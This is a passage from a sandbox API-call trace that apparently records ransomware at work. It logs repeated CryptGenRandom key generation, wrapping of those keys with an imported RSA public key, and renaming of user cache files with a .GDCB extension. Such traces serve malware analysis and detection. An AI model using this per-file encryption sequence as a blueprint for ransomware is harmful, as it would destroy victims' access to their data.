flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0207.157] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0207.158] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x13d70, lpOverlapped=0x0) returned 1 [0207.167] VirtualAlloc (lpAddress=0x0, dwSize=0x13d70, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0207.173] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3530508098\\2495906576.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3530508098\\2495906576.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3530508098\\2495906576.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3530508098\\2495906576.pri.gdcb")) returned 1 [0207.181] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0207.183] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.183] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.184] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0207.184] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0207.184] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0207.185] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.186] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.186] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0207.186] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0207.186] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0207.188] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2390) returned 1 [0207.188] CryptGetKeyParam (in: hKey=0x50d2390, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0207.188] CryptEncrypt (in: hKey=0x50d2390, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0207.189] GetLastError () returned 0x0 [0207.189] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0207.189] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0207.191] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d23d0) returned 1 [0207.191] CryptGetKeyParam (in: hKey=0x50d23d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0207.191] CryptEncrypt (in: hKey=0x50d23d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0207.191] GetLastError () returned 0x0 [0207.191] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.191] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3705566220\\624664733.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3705566220\\624664733.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0207.192] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0207.194] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0207.195] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x21e0, lpOverlapped=0x0) returned 1 [0207.202] VirtualAlloc (lpAddress=0x0, dwSize=0x21e0, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0207.207] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3705566220\\624664733.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3705566220\\624664733.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3705566220\\624664733.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3705566220\\624664733.pri.gdcb")) returned 1 [0207.213] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0207.215] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.216] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.216] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0207.216] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0207.216] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0207.217] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.218] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.218] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0207.218] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.218] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0207.220] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2410) returned 1 [0207.220] CryptGetKeyParam (in: hKey=0x50d2410, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0207.220] CryptEncrypt (in: hKey=0x50d2410, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0207.221] GetLastError () returned 0x0 [0207.221] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0207.221] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0207.223] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2150) returned 1 [0207.223] CryptGetKeyParam (in: hKey=0x50d2150, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0207.223] CryptEncrypt (in: hKey=0x50d2150, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0207.223] GetLastError () returned 0x0 [0207.223] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0207.223] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3779757838\\1034590242.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3779757838\\1034590242.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0207.225] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0207.226] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0207.227] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x940, lpOverlapped=0x0) returned 1 [0207.235] VirtualAlloc (lpAddress=0x0, dwSize=0x940, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0207.239] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3779757838\\1034590242.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3779757838\\1034590242.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3779757838\\1034590242.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3779757838\\1034590242.pri.gdcb")) returned 1 [0207.247] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0207.248] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.249] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.249] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0207.249] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.249] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0207.251] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.251] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.251] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0207.251] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.252] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0207.254] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d26d0) returned 1 [0207.254] CryptGetKeyParam (in: hKey=0x50d26d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0207.254] CryptEncrypt (in: hKey=0x50d26d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0207.254] GetLastError () returned 0x0 [0207.254] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0207.254] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0207.256] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d21d0) returned 1 [0207.256] CryptGetKeyParam (in: hKey=0x50d21d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0207.256] CryptEncrypt (in: hKey=0x50d21d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0207.256] GetLastError () returned 0x0 [0207.256] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.256] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3782802250\\2924287686.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3782802250\\2924287686.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0207.258] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0207.259] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0207.260] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x1c00, lpOverlapped=0x0) returned 1 [0207.268] VirtualAlloc (lpAddress=0x0, dwSize=0x1c00, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0207.273] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3782802250\\2924287686.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3782802250\\2924287686.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\3782802250\\2924287686.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\3782802250\\2924287686.pri.gdcb")) returned 1 [0207.279] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0207.281] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.282] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.282] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0207.282] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0207.282] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0207.283] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.284] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.284] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0207.284] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0207.284] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0207.287] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2210) returned 1 [0207.287] CryptGetKeyParam (in: hKey=0x50d2210, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0207.287] CryptEncrypt (in: hKey=0x50d2210, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0207.287] GetLastError () returned 0x0 [0207.287] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0207.287] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0207.289] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d2710) returned 1 [0207.289] CryptGetKeyParam (in: hKey=0x50d2710, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0207.289] CryptEncrypt (in: hKey=0x50d2710, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0207.289] GetLastError () returned 0x0 [0207.289] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.289] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\860568095\\965632691.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\860568095\\965632691.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0207.291] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0207.293] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0207.294] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x22b0, lpOverlapped=0x0) returned 1 [0207.302] VirtualAlloc (lpAddress=0x0, dwSize=0x22b0, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0207.307] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\860568095\\965632691.pri" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\860568095\\965632691.pri"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\PRICache\\860568095\\965632691.pri.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\pricache\\860568095\\965632691.pri.gdcb")) returned 1 [0207.325] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0207.326] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.327] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.327] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0207.327] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0207.327] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0207.329] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.329] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.329] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0207.329] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0207.330] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0207.332] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d1450) returned 1 [0207.332] CryptGetKeyParam (in: hKey=0x50d1450, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0207.332] CryptEncrypt (in: hKey=0x50d1450, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0207.332] GetLastError () returned 0x0 [0207.332] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0207.332] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0207.334] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d2790) returned 1 [0207.334] CryptGetKeyParam (in: hKey=0x50d2790, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0207.334] CryptEncrypt (in: hKey=0x50d2790, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0207.334] GetLastError () returned 0x0 [0207.334] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0207.335] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0207.348] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0207.350] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.351] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.351] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0207.351] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0207.351] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0207.352] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0207.353] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0207.353] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0207.353] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0207.354] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0207.356] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, 